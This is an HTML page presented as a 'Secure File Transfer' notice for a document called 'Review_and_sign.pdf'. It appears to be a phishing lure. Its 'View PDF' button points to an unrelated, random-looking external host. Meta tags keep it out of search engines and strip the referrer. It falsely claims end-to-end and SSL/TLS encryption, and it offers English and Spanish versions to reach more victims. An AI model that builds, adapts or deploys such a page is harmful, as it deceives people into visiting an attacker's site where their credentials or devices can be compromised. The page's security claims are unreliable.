<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    
    <!-- Security Meta Tags -->
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="bingbot" content="noindex, nofollow, noarchive">
    <meta name="referrer" content="no-referrer">
    <meta name="author" content="Secure Site">
    <meta http-equiv="X-Robots-Tag" content="noindex, nofollow, noarchive">
    
    <!-- Additional security headers -->
    <meta http-equiv="X-Frame-Options" content="DENY">
    <meta http-equiv="X-Content-Type-Options" content="nosniff">
    <meta http-equiv="Strict-Transport-Security" content="max-age=31536000; includeSubDomains; preload">
    
    <title>Secure File Transfer</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" crossorigin="anonymous">
    <style>
        /* General Reset and Basic Styling */
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Segoe UI', Tahoma, sans-serif;
            background: linear-gradient(to right, #eff3f6, #dfe9f3);
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            flex-direction: column;
        }
        
        .main-content {
            display: flex;
            flex-direction: column;
            align-items: center;
            max-width: 600px;
            width: 100%;
        }

        .container {
            background-color: #ffffff;
            border-radius: 16px;
            padding: 40px;
            width: 100%;
            box-shadow: 0 8px 30px rgba(0, 0, 0, 0.15);
            text-align: center;
            animation: fadeIn 0.5s ease-in-out;
        }
        
        @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }
        
        h2 { font-size: 26px; color: #2a9d8f; margin-bottom: 15px; }
        
        .secure-message {
            background-color: #f0fdfd;
            border: 1px solid #cce7e7;
            color: #2a9d8f;
            border-radius: 12px;
            padding: 15px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 25px;
            font-size: 14px;
            font-weight: 500;
        }
        .secure-message img { width: 28px; margin-right: 10px; }
        
        .file-section {
            background-color: #f8fafc;
            border: 1px solid #e1e8ed;
            border-radius: 12px;
            padding: 25px;
            width: 100%;
            max-width: 500px;
            margin: 0 auto;
            box-shadow: 0 4px 15px rgba(0, 0, 0, 0.1);
            transition: box-shadow 0.4s, transform 0.3s;
        }
        .file-section:hover { box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15); transform: translateY(-4px); }
        
        .file-details { display: flex; flex-direction: column; align-items: center; color: #444; }
        .file-icon { width: 80px; margin-bottom: 12px; }
        .file-name { font-size: 16px; color: #2a9d8f; font-weight: 600; margin-bottom: 6px; }
        
        .view-button {
            background-color: #2a9d8f;
            color: #fff;
            padding: 12px 24px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 15px;
            transition: background-color 0.3s, transform 0.2s;
            box-shadow: 0 3px 8px rgba(0, 0, 0, 0.12);
            text-decoration: none;
            display: inline-block;
            margin-top: 20px;
        }
        .view-button:hover { background-color: #238779; transform: translateY(-3px); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2); }
        
        .security-badge {
            margin-top: 20px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            color: #2a9d8f;
            font-weight: 500;
            padding: 10px;
        }
        .security-badge img { width: 22px; margin-right: 8px; }

        /* Footer Section */
        .footer {
            font-size: 12px;
            color: #777;
            margin-top: 20px;
            text-align: center;
            width: 100%;
        }
        .footer a { color: #2a9d8f; text-decoration: none; }

        /* Language Dropdown */
        .language-dropdown {
            position: absolute;
            top: 20px;
            right: 20px;
            padding: 10px;
            background-color: #2a9d8f;
            color: #fff;
            border: none;
            border-radius: 8px;
            cursor: pointer;
        }
        .language-dropdown select {
            background-color: #2a9d8f;
            color: #fff;
            border: none;
            border-radius: 8px;
            font-size: 14px;
        }
    </style>
</head>
<body>

<div class="main-content">
    <div class="container">
        <h2 id="title">Secure File Transfer</h2>
        <div class="secure-message">
            <img src="https://img.icons8.com/external-others-amoghdesign/100/external-encryption-multimedia-solid-30px-others-amoghdesign.png" alt="Secure Lock">
            <span id="secure-message">End-to-end encrypted to ensure your security.</span>
        </div>
        <div class="file-section">
            <div class="file-details">
                <img src="https://img.icons8.com/color/100/pdf-2--v1.png" alt="PDF Icon" class="file-icon">
                <span class="file-name" id="file-name">Review_and_sign.pdf</span>
                <span class="file-size" id="file-size">Size: 64.35 KB</span>
            </div>
            <a id="view-button" href="https://meheff.clearfire.info/kjpCEcti" class="view-button" target="_blank" rel="noopener noreferrer">View PDF</a>
        </div>
        <div class="security-badge">
            <img src="https://img.icons8.com/fluency/100/security-shield-green.png" alt="Secure Shield">
            <span id="security-badge">SSL/TLS Encryption Ensured</span>
        </div>
    </div>
    <div class="footer">
        <p id="footer">&copy; 2024 blFire. All rights reserved.</p>
    </div>
</div>

<!-- Language Dropdown -->
<div class="language-dropdown">
    <select id="language-selector">
        <option value="en">English</option>
        <option value="es">Español</option>
    </select>
</div>

<script>
    const translations = {
        en: {
            title: "Secure File Transfer",
            secureMessage: "End-to-end encrypted to ensure your security.",
            fileName: "Review_and_sign.pdf",
            fileSize: "Size: 64.35 KB",
            viewButton: "View PDF",
            securityBadge: "SSL/TLS Encryption Ensured",
            footer: "&copy; 2024 blFire. All rights reserved."
        },
        es: {
            title: "Transferencia de Archivos Segura",
            secureMessage: "Cifrado de extremo a extremo para garantizar su seguridad.",
            fileName: "Revisar_y_firmar.pdf",
            fileSize: "Tamaño: 64.35 KB",
            viewButton: "Ver PDF",
            securityBadge: "Cifrado SSL/TLS Garantizado",
            footer: "&copy; 2024 blFire. Todos los derechos reservados."
        }
    };

    const updateContent = (lang) => {
        document.getElementById("title").innerText = translations[lang].title;
        document.getElementById("secure-message").innerText = translations[lang].secureMessage;
        document.getElementById("file-name").innerText = translations[lang].fileName;
        document.getElementById("file-size").innerText = translations[lang].fileSize;
        document.getElementById("view-button").innerText = translations[lang].viewButton;
        document.querySelector("#security-badge").innerText = translations[lang].securityBadge;
        document.querySelector("#footer").innerHTML = translations[lang].footer;
    };

    const userLang = navigator.language.startsWith('es') ? 'es' : 'en';
    updateContent(userLang);

    document.getElementById("language-selector").addEventListener("change", (event) => {
        const selectedLang = event.target.value;
        updateContent(selectedLang);
    });
</script>

</body>
</html>